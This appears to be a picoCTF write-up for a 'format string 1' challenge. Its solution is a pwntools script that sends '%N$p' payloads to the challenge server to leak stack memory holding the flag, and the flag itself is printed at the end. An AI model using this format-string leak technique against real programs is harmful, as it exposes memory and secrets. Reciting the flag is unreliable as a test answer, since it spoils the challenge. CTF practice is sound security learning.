format string 1

Challenge Description

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest!

Download the binary here. Download the source here.

Additional details will be available after launching your challenge instance.


Solution

from pwn import *

for i in range(20):
    p = remote('mimas.picoctf.net', 50154, level='error')

    p.recvuntil(b"Give me your order and I'll read it back to you:")

    inp = b"%" + str(i).encode("utf-8") + b"$p"

    print(f"Input: {inp}")
    p.sendline(inp)

    try:
        lines = p.recvlines(2)
        try:
            print(p64(int(lines[1].decode("utf-8").split()[-1], 16)))
        except ValueError:
            print(lines[1].decode("utf-8"))

    except EOFError:
        pass

    p.close()

    print("=" * 50)

Flag: picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}

Last updated